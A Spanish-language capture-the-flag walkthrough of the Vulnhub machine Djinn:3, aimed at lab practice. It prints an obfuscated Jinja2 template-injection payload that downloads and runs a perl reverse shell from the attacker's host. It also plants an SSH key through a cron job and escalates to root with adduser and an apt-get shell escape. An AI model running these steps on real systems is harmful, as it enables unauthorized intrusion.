[VLN] Djinn:3

Hoy vamos a hackear la maquina de Vulnhub llamada djinn:3. Podeis descargarla desde el siguiente enlace: Djinn-3

Video


Enumeration


Empezamos con un nmap para ver que puertos tiene abiertos.

sml@Cassandra:~$ nmap -A -p- 192.168.1.31
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 00:35 CEST
Nmap scan report for djinn3.home (192.168.1.31)
Host is up (0.0016s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 
2.0)
| ssh-hostkey: 
|   2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
|   256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
|_  256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
80/tcp    open  http    lighttpd 1.4.45
|_http-server-header: lighttpd/1.4.45
|_http-title: Custom-ers
5000/tcp  open  http    Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31337/tcp open  Elite?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL: 
|     username>
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     username> password> authentication failed
|   Help: 
|     username> password>
|   RPCCheck: 
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in 
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: 
invalid start byte
|   SSLSessionReq: 
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in 
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: 
invalid continuation byte
|   TerminalServerCookie: 
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in 
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|_    UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: 
invalid continuation byte
1 service unrecognized despite returning data. If you know the service/version, 
please submit the following fingerprint at 
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.80%I=7%D=6/21%Time=5EEE8F39%P=x86_64-pc-linux-gnu%r(N
SF:ULL,A,"username>\x20")%r(GetRequest,2A,"username>\x20password>\x20authe
SF:ntication\x20failed\n")%r(SIPOptions,2A,"username>\x20password>\x20auth
SF:entication\x20failed\n")%r(GenericLines,2A,"username>\x20password>\x20a
SF:uthentication\x20failed\n")%r(HTTPOptions,2A,"username>\x20password>\x2
SF:0authentication\x20failed\n")%r(RTSPRequest,2A,"username>\x20password>\
SF:x20authentication\x20failed\n")%r(RPCCheck,1A9,"username>\x20Traceback\
SF:x20\(most\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/opt/\.tick-s
SF:erv/tickets\.py\",\x20line\x20105,\x20in\x20\n\x20\x20\x20\x20m
SF:ain\(\)\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x209
SF:3,\x20in\x20main\n\x20\x20\x20\x20username\x20=\x20input\(\"username>\x
SF:20\"\)\n\x20\x20File\x20\"/usr/lib/python3\.6/codecs\.py\",\x20line\x20
SF:321,\x20in\x20decode\n\x20\x20\x20\x20\(result,\x20consumed\)\x20=\x20s
SF:elf\._buffer_decode\(data,\x20self\.errors,\x20final\)\nUnicodeDecodeEr
SF:ror:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x80\x20in\x20po
SF:sition\x200:\x20invalid\x20start\x20byte\n")%r(DNSVersionBindReqTCP,A,"
SF:username>\x20")%r(DNSStatusRequestTCP,A,"username>\x20")%r(Help,14,"use
SF:rname>\x20password>\x20")%r(SSLSessionReq,1B1,"username>\x20Traceback\x
SF:20\(most\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/opt/\.tick-se
SF:rv/tickets\.py\",\x20line\x20105,\x20in\x20\n\x20\x20\x20\x20ma
SF:in\(\)\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x2093
SF:,\x20in\x20main\n\x20\x20\x20\x20username\x20=\x20input\(\"username>\x2
SF:0\"\)\n\x20\x20File\x20\"/usr/lib/python3\.6/codecs\.py\",\x20line\x203
SF:21,\x20in\x20decode\n\x20\x20\x20\x20\(result,\x20consumed\)\x20=\x20se
SF:lf\._buffer_decode\(data,\x20self\.errors,\x20final\)\nUnicodeDecodeErr
SF:or:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200xd7\x20in\x20pos
SF:ition\x2013:\x20invalid\x20continuation\x20byte\n")%r(TerminalServerCoo
SF:kie,1B0,"username>\x20Traceback\x20\(most\x20recent\x20call\x20last\):\
SF:n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x20105,\x20i
SF:n\x20\n\x20\x20\x20\x20main\(\)\n\x20\x20File\x20\"/opt/\.tick-
SF:serv/tickets\.py\",\x20line\x2093,\x20in\x20main\n\x20\x20\x20\x20usern
SF:ame\x20=\x20input\(\"username>\x20\"\)\n\x20\x20File\x20\"/usr/lib/pyth
SF:on3\.6/codecs\.py\",\x20line\x20321,\x20in\x20decode\n\x20\x20\x20\x20\
SF:(result,\x20consumed\)\x20=\x20self\._buffer_decode\(data,\x20self\.err
SF:ors,\x20final\)\nUnicodeDecodeError:\x20'utf-8'\x20codec\x20can't\x20de
SF:code\x20byte\x200xe0\x20in\x20position\x205:\x20invalid\x20continuation
SF:\x20byte\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.55 seconds
Vemos que en el puerto 5000 tiene una "web" en la cual nos muestra un "portal" donde podemos ver los tickets abiertos, cerrados y demas. En uno de los tickets abiertos aparece que hay un usuario por defecto llamado "guest".

Exploitation


Nos conectamos al puerto 31337, y usamos guest/guest:

sml@Cassandra:~$ nc 192.168.1.31 31337
username> guest
password> guest

Welcome to our own ticketing system. This application is still under 
development so if you find any issue please report it to mail@mzfr.me

Enter "help" to get the list of available commands.
Parece que es su "propia" herramienta de ticketing. Echamos un vistazo...

> help

        help        Show this menu
        update      Update the ticketing software
        open        Open a new ticket
        close       Close an existing ticket
        exit        Exit
Podemos crear tickets! Despues de buscar cual puede ser la vulnerabilidad, se trata de SSTI. La idea es "inyectar" codigo a traves del puerto 31337 y luego poder ejecutarlo a traves del puerto 5000. Se trata de Jinja2, asi que buscamos algo que nos pueda servir[1]. La idea es inyectar un codigo que lo que haga sea, conectarse a nuestra maquina, descargarse una reverse shell en perl, y una vez descargada, ejecutarla. Creamos el siguiente ticket:
    
> open
Title: I want my shell
Description: 
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgeti
tem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\
x5fimport\x5f\x5f')('os')|attr('popen')('wget http://192.168.1.148/plim.pl & 
perl plim.pl')|attr('read')()}}
Una vez creado el ticket, preparamos la reverse shell para que se la pueda descargar.

sml@Cassandra:~$ cp /usr/share/webshells/perl/perl-reverse-shell.pl .
sml@Cassandra:~$ mv perl-reverse-shell.pl plim.pl
sml@Cassandra:~$ nano plim.pl #Modificamos IP/Puerto
sml@Cassandra:~$ chmod 777 plim.pl 
sml@Cassandra:~$ mv plim.pl /var/www/html
Ponemos nc a la escucha.

sml@Cassandra:~$ nc -nlvp 1234
listening on [any] 1234 ...
Visitamos el ticket que hemos creado antes!

http://192.168.1.31:5000/?id4300
Y obtenemos nuestra shell :)

Low Shell



sml@Cassandra:~$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.31] 34720
 03:41:56 up  3:29,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
Linux djinn3 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 
x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/
/usr/sbin/apache: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@djinn3:/$
Nos descargamos pspy64 para ver que hace el sistema...

www-data@djinn3:~$ cd /tmp
www-data@djinn3:/tmp$ wget http://192.168.1.148/pspy64
--2020-06-25 19:29:22--  http://192.168.1.148/pspy64
Connecting to 192.168.1.148:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: pspy64
   
pspy64              100%[===================>]   2.94M  --.-KB/s    in 0.02s    
  
2020-06-25 19:29:22 (195 MB/s) - pspy64 saved [3078592/3078592]           
   
www-data@djinn3:/tmp$ chmod +x pspy64                                           
www-data@djinn3:/tmp$ ./pspy64

---SNIP---
CMD: UID=1000 PID=9318   | /usr/bin/python3 /home/saint/.sync-data/syncer.py 
2020/06/25 03:48:01 CMD: UID=1000 PID=9317   | /bin/sh -c /usr/bin/python3 
/home/saint/.sync-data/syncer.py 
2020/06/25 03:48:02 CMD: UID=1000 PID=9320   | /usr/bin/python3 
/home/saint/.sync-data/syncer.py 
---SNIP---
Vemos que ejecuta un script (syncer.py) el usuario saint... Exploramos un poco mas el sistema.

www-data@djinn3:/home$ find / -user saint 2>/dev/null
find / -user saint 2>/dev/null
/home/saint
/opt/.configuration.cpython-38.pyc
/opt/.syncer.cpython-38.pyc
Encontramos que el usuario saint tiene 2 archivos .pyc los cuales pueden servirnos... Vamos a usar xxd para copiar el contenido del fichero en nuestra maquina.

www-data@djinn3:/tmp$ xxd /opt/.configuration.cpython-38.pyc
00000000: 550d 0d0a 0000 0000 0d0a d95e 3f05 0000  U..........^?...
00000010: e300 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0003 0000 0040 0000 0073 4200 0000 6400  .....@...sB...d.
00000030: 6401 6c00 5a00 6400 6401 6c01 5a01 6400  d.l.Z.d.d.l.Z.d.
00000040: 6401 6c02 5a02 6400 6402 6c03 6d03 5a03  d.l.Z.d.d.l.m.Z.
00000050: 0100 6400 6403 6c04 6d04 5a05 0100 4700  ..d.d.l.m.Z...G.
00000060: 6404 6405 8400 6405 8302 5a06 6401 5300  d.d...d...Z.d.S.
00000070: 2906 e900 0000 004e 2901 da04 676c 6f62  )......N)...glob
00000080: 2901 da08 6461 7465 7469 6d65 6300 0000  )...datetimec...
00000090: 0000 0000 0000 0000 0000 0000 0003 0000  ................
000000a0: 0040 0000 0073 2800 0000 6500 5a01 6400  .@...s(...e.Z.d.
000000b0: 5a02 6401 5a03 6504 6402 6403 8400 8301  Z.d.Z.e.d.d.....
000000c0: 5a05 6504 6404 6405 8400 8301 5a06 6401  Z.e.d.d.....Z.d.
000000d0: 5300 2906 da0c 436f 6e66 6967 5265 6164  S.)...ConfigRead
000000e0: 6572 4e63 0100 0000 0000 0000 0000 0000  erNc............
000000f0: 0400 0000 0a00 0000 4300 0000 7362 0000  ........C...sb..
00000100: 0069 007d 017a 2474 007c 0064 0183 028f  .i.}.z$t.|.d....
00000110: 107d 0274 01a0 027c 02a1 017d 0157 0035  .}.t...|...}.W.5
00000120: 0051 0052 0058 0057 006e 3404 0074 036b  .Q.R.X.W.n4..t.k
00000130: 0a72 5c01 007d 0301 007a 1674 0464 0283  .r\..}...z.t.d..
00000140: 0101 0074 05a0 0664 03a1 0101 0057 0035  ...t...d.....W.5
00000150: 0064 047d 037e 0358 0059 006e 0258 007c  .d.}.~.X.Y.n.X.|
00000160: 0153 0029 057a 1e52 6561 6473 2074 6865  .S.).z.Reads the
00000170: 2063 6f6e 6669 6720 6669 6c65 0a20 2020   config file.   
00000180: 2020 2020 20da 0172 7a3b 436f 756c 646e       ..rz;Couldn
00000190: 2774 2070 726f 7065 726c 7920 7061 7273  't properly pars
000001a0: 6520 7468 6520 636f 6e66 6967 2066 696c  e the config fil
000001b0: 652e 2050 6c65 6173 6520 7573 6520 7072  e. Please use pr
000001c0: 6f70 6572 6ce9 0100 0000 4e29 07da 046f  operl.....N)...o
000001d0: 7065 6eda 046a 736f 6eda 046c 6f61 64da  pen..json..load.
000001e0: 0945 7863 6570 7469 6f6e da05 7072 696e  .Exception..prin
000001f0: 74da 0373 7973 da04 6578 6974 2904 da04  t..sys..exit)...
00000200: 7061 7468 5a0d 636f 6e66 6967 5f76 616c  pathZ.config_val
00000210: 7565 73da 0166 da01 65a9 0072 1100 0000  ues..f..e..r....
00000220: fa10 636f 6e66 6967 7572 6174 696f 6e2e  ..configuration.
00000230: 7079 da0b 7265 6164 5f63 6f6e 6669 670b  py..read_config.
00000240: 0000 0073 1000 0000 0004 0402 0201 0c01  ...s............
00000250: 1801 1001 0801 1c01 7a18 436f 6e66 6967  ........z.Config
00000260: 5265 6164 6572 2e72 6561 645f 636f 6e66  Reader.read_conf
00000270: 6967 6300 0000 0000 0000 0000 0000 0007  igc.............
00000280: 0000 0008 0000 0043 0000 0073 d600 0000  .......C...s....
00000290: 7400 6401 8301 7d00 7400 6402 8301 7d01  t.d...}.t.d...}.
000002a0: 7c00 7c01 1700 7d00 7a9a 7401 7c00 8301  |.|...}.z.t.|...
000002b0: 6403 6b04 7232 7c00 6404 6403 8502 1900  d.k.r2|.d.d.....
000002c0: 7d00 7402 6a03 a004 7c00 6405 1900 a101  }.t.j...|.d.....
000002d0: a005 6406 a101 7d02 7402 6a03 a004 7c00  ..d...}.t.j...|.
000002e0: 6407 1900 a101 a005 6406 a101 7d03 7c02  d.......d...}.|.
000002f0: 6408 1900 6409 6b02 7296 7c03 6408 1900  d...d.k.r.|.d...
00000300: 6409 6b02 7296 7406 a007 7c02 6405 1900  d.k.r.t...|.d...
00000310: 640a a102 7d04 7406 a007 7c03 6405 1900  d...}.t...|.d...
00000320: 640a a102 7d05 7c05 7c04 6b00 72a8 7c00  d...}.|.|.k.r.|.
00000330: 6405 1900 7d06 6e08 7c00 6407 1900 7d06  d...}.n.|.d...}.
00000340: 5700 6e1e 0400 7408 6b0a 72d0 0100 0100  W.n...t.k.r.....
00000350: 0100 7409 a00a 6407 a101 0100 5900 6e02  ..t...d.....Y.n.
00000360: 5800 7c06 5300 290b 7a1c 5365 7420 7468  X.|.S.).z.Set th
00000370: 6520 636f 6e66 6967 2070 6174 680a 2020  e config path.  
00000380: 2020 2020 2020 7a12 2f68 6f6d 652f 7361        z./home/sa
00000390: 696e 742f 2a2e 6a73 6f6e 7a0b 2f74 6d70  int/*.jsonz./tmp
000003a0: 2f2a 2e6a 736f 6ee9 0200 0000 4e72 0100  /*.json.....Nr..
000003b0: 0000 da01 2e72 0600 0000 e9fe ffff ffda  .....r..........
000003c0: 0663 6f6e 6669 677a 0825 642d 256d 2d25  .configz.%d-%m-%
000003d0: 5929 0b72 0200 0000 da03 6c65 6eda 026f  Y).r......len..o
000003e0: 7372 0e00 0000 da08 6261 7365 6e61 6d65  sr......basename
000003f0: da05 7370 6c69 74da 0264 74da 0873 7472  ..split..dt..str
00000400: 7074 696d 6572 0a00 0000 720c 0000 0072  ptimer....r....r
00000410: 0d00 0000 2907 da05 6669 6c65 735a 0b6f  ....)...filesZ.o
00000420: 7468 6572 5f66 696c 6573 5a05 6669 6c65  ther_filesZ.file
00000430: 315a 0566 696c 6532 da01 61da 0162 da08  1Z.file2..a..b..
00000440: 6669 6c65 6e61 6d65 7211 0000 0072 1100  filenamer....r..
00000450: 0000 7212 0000 00da 0f73 6574 5f63 6f6e  ..r......set_con
00000460: 6669 675f 7061 7468 1900 0000 7322 0000  fig_path....s"..
00000470: 0000 0508 0208 0108 0202 010c 010c 0216  ................
00000480: 0116 0218 0210 0110 0208 010a 020c 020e  ................
00000490: 0110 027a 1c43 6f6e 6669 6752 6561 6465  ...z.ConfigReade
000004a0: 722e 7365 745f 636f 6e66 6967 5f70 6174  r.set_config_pat
000004b0: 6829 07da 085f 5f6e 616d 655f 5fda 0a5f  h)...__name__.._
000004c0: 5f6d 6f64 756c 655f 5fda 0c5f 5f71 7561  _module__..__qua
000004d0: 6c6e 616d 655f 5f72 1700 0000 da0c 7374  lname__r......st
000004e0: 6174 6963 6d65 7468 6f64 7213 0000 0072  aticmethodr....r
000004f0: 2200 0000 7211 0000 0072 1100 0000 7211  "...r....r....r.
00000500: 0000 0072 1200 0000 7204 0000 0008 0000  ...r....r.......
00000510: 0073 0a00 0000 0801 0402 0201 0a0d 0201  .s..............
00000520: 7204 0000 0029 0772 1900 0000 720c 0000  r....).r....r...
00000530: 0072 0800 0000 7202 0000 0072 0300 0000  .r....r....r....
00000540: 721c 0000 0072 0400 0000 7211 0000 0072  r....r....r....r
00000550: 1100 0000 7211 0000 0072 1200 0000 da08  ....r....r......
00000560: 3c6d 6f64 756c 653e 0100 0000 730a 0000  ....s...
00000570: 0008 0108 0108 020c 010c 02              ...........
Creamos un fichero (configuration.pyc) y copiamos el resultado del comando anterior. Una vez copiado, usamos xxd -r para devolverlo a su estado "original", y por ultimo usamos uncompyle6 para que podamos leer el codigo python. Se haria de la siguiente forma:

sml@Cassandra:~$ nano configuration.pyc #Copiamos el resultado del comando 
anterior.
sml@Cassandra:~$ xxd -r configuration.pyc >> configuration2.pyc
sml@Cassandra:~$ uncompyle6 configuration2.pyc >> configuration.py
Hecho esto, podemos ver que contiene configuration.py....

sml@Cassandra:~$ cat configuration.py
# uncompyle6 version 3.7.1
# Python bytecode 3.8 (3413)
# Decompiled from: Python 2.7.18 (default, Apr 20 2020, 20:30:41) 
# [GCC 9.3.0]
# Warning: this version has problems handling the Python 3 "byte" type in 
constants properly.

# Embedded file name: configuration.py
# Compiled at: 2020-06-04 16:49:49
# Size of source mod 2**32: 1343 bytes
import os, sys, json
from glob import glob
from datetime import datetime as dt

class ConfigReader:
    config = None

    @staticmethod
    def read_config(path):
        """Reads the config file
        """
        config_values = {}
        try:
            with open(path, 'r') as (f):
                config_values = json.load(f)
        except Exception as e:
            try:
                print("Couldn't properly parse the config file. Please use 
properl")
                sys.exit(1)
            finally:
                e = None
                del e

        else:
            return config_values

    @staticmethod
    def set_config_path():
        """Set the config path
        """
        files = glob('/home/saint/*.json')
        other_files = glob('/tmp/*.json')
        files = files + other_files
        try:
            if len(files) > 2:
                files = files[:2]
            else:
                file1 = os.path.basename(files[0]).split('.')
                file2 = os.path.basename(files[1]).split('.')
                if file1[(-2)] == 'config':
                    if file2[(-2)] == 'config':
                        a = dt.strptime(file1[0], '%d-%m-%Y')
                        b = dt.strptime(file2[0], '%d-%m-%Y')
                if b < a:
                    filename = files[0]
                else:
                    pass
                filename = files[1]
        except Exception:
            sys.exit(1)
        else:
            return filename
# okay decompiling configuration2.pyc
Hacemos lo mismo con el otro fichero.

www-data@djinn3:/tmp$ xxd /opt/.syncer.cpython-38.pyc
00000000: 550d 0d0a 0000 0000 6be7 d45e 4b02 0000  U.......k..^K...
00000010: e300 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0002 0000 0040 0000 0073 3a00 0000 6400  .....@...s:...d.
00000030: 6401 6c00 5400 6400 6401 6c01 5400 6400  d.l.T.d.d.l.T.d.
00000040: 6401 6c02 5400 6400 6401 6c03 5400 6402  d.l.T.d.d.l.T.d.
00000050: 6403 8400 5a04 6505 6404 6b02 7236 6504  d...Z.e.d.k.r6e.
00000060: 8300 0100 6405 5300 2906 e900 0000 0029  ....d.S.)......)
00000070: 01da 012a 6300 0000 0000 0000 0000 0000  ...*c...........
00000080: 0003 0000 0004 0000 0043 0000 0073 6400  .........C...sd.
00000090: 0000 7400 a001 a100 7d00 7400 a002 7c00  ..t.....}.t...|.
000000a0: a101 7d01 7403 7c01 8301 7d02 6401 7c02  ..}.t.|...}.d.|.
000000b0: 6b06 7230 7404 7c01 6401 1900 8301 0100  k.r0t.|.d.......
000000c0: 6e30 6402 7c02 6b06 7246 7405 7c01 6402  n0d.|.k.rFt.|.d.
000000d0: 1900 8301 0100 6e1a 6403 7c02 6b06 7260  ......n.d.|.k.r`
000000e0: 7406 7c01 6403 1900 7c01 6404 1900 8302  t.|.d...|.d.....
000000f0: 0100 6405 5300 2906 7a43 4d61 696e 2066  ..d.S.).zCMain f
00000100: 756e 6374 696f 6e0a 2020 2020 4372 6f6e  unction.    Cron
00000110: 206a 6f62 2069 7320 676f 696e 6720 746f   job is going to
00000120: 206d 616b 6520 6d79 2077 6f72 6b20 6561   make my work ea
00000130: 7379 2070 6561 7379 0a20 2020 205a 0346  sy peasy.    Z.F
00000140: 5450 5a03 5353 48da 0355 524c da06 4f75  TPZ.SSH..URL..Ou
00000150: 7470 7574 4e29 075a 0c43 6f6e 6669 6752  tputN).Z.ConfigR
00000160: 6561 6465 725a 0f73 6574 5f63 6f6e 6669  eaderZ.set_confi
00000170: 675f 7061 7468 5a0b 7265 6164 5f63 6f6e  g_pathZ.read_con
00000180: 6669 675a 0763 6865 636b 6572 5a06 6674  figZ.checkerZ.ft
00000190: 7063 6f6e 5a06 7373 6863 6f6e da04 7379  pconZ.sshcon..sy
000001a0: 6e63 2903 5a0a 636f 6e66 6967 5061 7468  nc).Z.configPath
000001b0: da06 636f 6e66 6967 5a0b 636f 6e6e 6563  ..configZ.connec
000001c0: 7469 6f6e 73a9 0072 0700 0000 fa09 7379  tions..r......sy
000001d0: 6e63 6572 2e70 79da 046d 6169 6e07 0000  ncer.py..main...
000001e0: 0073 1200 0000 0004 0801 0a01 0802 0801  .s..............
000001f0: 0e01 0801 0e01 0801 7209 0000 00da 085f  ........r......_
00000200: 5f6d 6169 6e5f 5f4e 2906 5a0d 636f 6e66  _main__N).Z.conf
00000210: 6967 7572 6174 696f 6e5a 1263 6f6e 6e65  igurationZ.conne
00000220: 6374 6f72 732e 6674 7063 6f6e 6e5a 1263  ctors.ftpconnZ.c
00000230: 6f6e 6e65 6374 6f72 732e 7373 6863 6f6e  onnectors.sshcon
00000240: 6e5a 1063 6f6e 6e65 6374 6f72 732e 7574  nZ.connectors.ut
00000250: 696c 7372 0900 0000 da08 5f5f 6e61 6d65  ilsr......__name
00000260: 5f5f 7207 0000 0072 0700 0000 7207 0000  __r....r....r...
00000270: 0072 0800 0000 da08 3c6d 6f64 756c 653e  .r......
00000280: 0100 0000 730c 0000 0008 0108 0108 0108  ....s...........
00000290: 0308 1008 01                             .....

sml@Cassandra:~$ nano syncer.pyc
sml@Cassandra:~$ xxd -r syncer.pyc >> syncer2.pyc
sml@Cassandra:~$ uncompyle6 syncer2.pyc >> syncer.py
Miramos el codigo de este nuevo fichero...

sml@Cassandra:~$ cat syncer.py
# uncompyle6 version 3.7.1
# Python bytecode 3.8 (3413)
# Decompiled from: Python 2.7.18 (default, Apr 20 2020, 20:30:41) 
# [GCC 9.3.0]
# Warning: this version has problems handling the Python 3 "byte" type in 
constants properly.

# Embedded file name: syncer.py
# Compiled at: 2020-06-01 13:32:59
# Size of source mod 2**32: 587 bytes
from configuration import *
from connectors.ftpconn import *
from connectors.sshconn import *
from connectors.utils import *

def main():
    """Main function
    Cron job is going to make my work easy peasy
    """
    configPath = ConfigReader.set_config_path()
    config = ConfigReader.read_config(configPath)
    connections = checker(config)
    if 'FTP' in connections:
        ftpcon(config['FTP'])
    else:
        if 'SSH' in connections:
            sshcon(config['SSH'])
        else:
            if 'URL' in connections:
                sync(config['URL'], config['Output'])


if __name__ == '__main__':
    main()
# okay decompiling syncer2.pyc
Una vez analizado los codigos, podemos ver que va a ir a buscar ficheros .json a /tmp (en el cual podemos escribir), y deben llamarse de la forma DD-MM-AA.config.json. El contenido del fichero debe ser en json y contener una URL y Output. Al llamarse el script syncer.py se supone que va a descargar algo de la URL facilitada y lo va a guardar en el "Output".... Vamos a copiar nuestra llave publica de ssh en el fichero authorized_keys del usuario saint para poder conectarnos por ssh como saint. Para ello, creamos el fichero authorized_keys con nuestra llave publica, lo dejamos accesible en nuestro servidor web, y por otro lado creamos el fichero .json que vamos a necesitar.

sml@Cassandra:~$ cd .ssh
sml@Cassandra:~/.ssh$ cp id_rsa.pub /var/www/html/authorized_keys
sml@Cassandra:/var/www/html$ cat 25-06-2020.config.json
{
"URL": "http://192.168.1.148/authorized_keys",
"Output": "/home/saint/.ssh/authorized_keys"
}
Una vez lo tenemos, descargamos el fichero .json en /tmp para que cuando se ejecute el script lo encuentre.

www-data@djinn3:/tmp$ wget http://192.168.1.148/25-06-2020.config.json
En nuestra maquina, miramos los logs del server web, para ver si se descarga el authorized_keys.

sml@Cassandra:~$ sudo tail -f /var/log/nginx/access.log
192.168.1.31 - - [25/Jun/2020:14:33:02 +0200] "GET /authorized_keys HTTP/1.1" 
200 567 "-" "python-requests/2.18.4"
Una vez vemos que se lo ha descargado, probamos a conectar por ssh!

sml@Cassandra:~$ ssh saint@192.168.1.31
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jun 25 18:03:03 IST 2020

  System load:  0.4               Processes:           101
  Usage of /:   44.5% of 9.78GB   Users logged in:     0
  Memory usage: 47%               IP address for eth0: 192.168.1.31
  Swap usage:   0%

  => There is 1 zombie process.

 * "If you've been waiting for the perfect Kubernetes dev solution for
   macOS, the wait is over. Learn how to install Microk8s on macOS."

   https://www.techrepublic.com/article/how-to-install-microk8s-on-macos/

25 packages can be updated.
16 updates are security updates.

Last login: Mon Jun  1 22:04:51 2020 from 192.168.1.107
saint@djinn3:~$
Ha funcionado! Ejecutamos sudo -l para ver que podemos hacer.

saint@djinn3:/home$ sudo -l
Matching Defaults entries for saint on djinn3:
    env_reset, mail_badpass, 
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin

User saint may run the following commands on djinn3:
    (root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, 
!/usr/sbin/adduser * admin
Podemos crear usuarios, pero no podemos meter a los usuarios que creemos ni en el grupo sudo, ni en el grupo admin. Creamos un usuario con GID 0 (root)

saint@djinn3:/home$ sudo adduser r00t -gid 0
Cambiamos al usuario que hemos creado.

saint@djinn3:/home$ su r00t
r00t@djinn3:~$ id
uid=1004(r00t) gid=0(root) groups=0(root)
Ahora que tenemos privilegios del grupo de "root" podemos ver varios ficheros que de otra forma no podriamos. Aprovechamos para ver el fichero /etc/sudoers.

r00t@djinn3:/home$ cat /etc/sudoers
---SNIP---
# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:
# If you need a huge list of used numbers please install the nmap package.

saint ALL=(root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, 
!/usr/sbin/adduser * admin

jason ALL=(root) PASSWD: /usr/bin/apt-get
#includedir /etc/sudoers.d
---SNIP----

Privilege Escalation


Vemos que hay un usuario llamado "jason" que puede usar sudo y ejecutar el comando apt-get... No hay ningun usuario llamado jason en el sistema, asi que lo creamos.

saint@djinn3:~$ id
uid=1000(saint) gid=1002(saint) groups=1002(saint)
saint@djinn3:/home$ sudo adduser jason
Nos cambiamos a jason.

saint@djinn3:~$ su jason
Password: 
jason@djinn3:~$ id
uid=1007(jason) gid=1006(jason) groups=1006(jason)
Usamos apt-get para escalar privilegios!

jason@djinn3:~$ sudo apt-get changelog apt
!/bin/sh
root@djinn3:~# id
uid=0(root) gid=0(root) groups=0(root)
Conseguido :)

root.txt



root@djinn3:/home# cd /root
root@djinn3:/root# ls
proof.sh

root@djinn3:/root# sh proof.sh 
    _                        _             _ _ _ 
   / \   _ __ ___   __ _ ___(_)_ __   __ _| | | |
  / _ \ | '_ ` _ \ / _` |_  / | '_ \ / _` | | | |
 / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/   \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
                                     |___/       
djinn-3 pwned...
__________________________________________________________________________

Proof: VGhhbmsgeW91IGZvciB0cnlpbmcgZGppbm4zID0K
Path: /root
Date: Thu Jun 25 19:45:40 IST 2020
Whoami: root
__________________________________________________________________________

By @0xmzfr

Special thanks to @DCAU7 for his help on Privilege escalation process
And also Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)

If you enjoyed this then consider donating (https://blog.mzfr.me/support/)
so I can continue to make these kind of challenges.

End


Y con esto ya seriamos root de la maquina :) [1] https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20 Template%20Injection/README.md#jinja2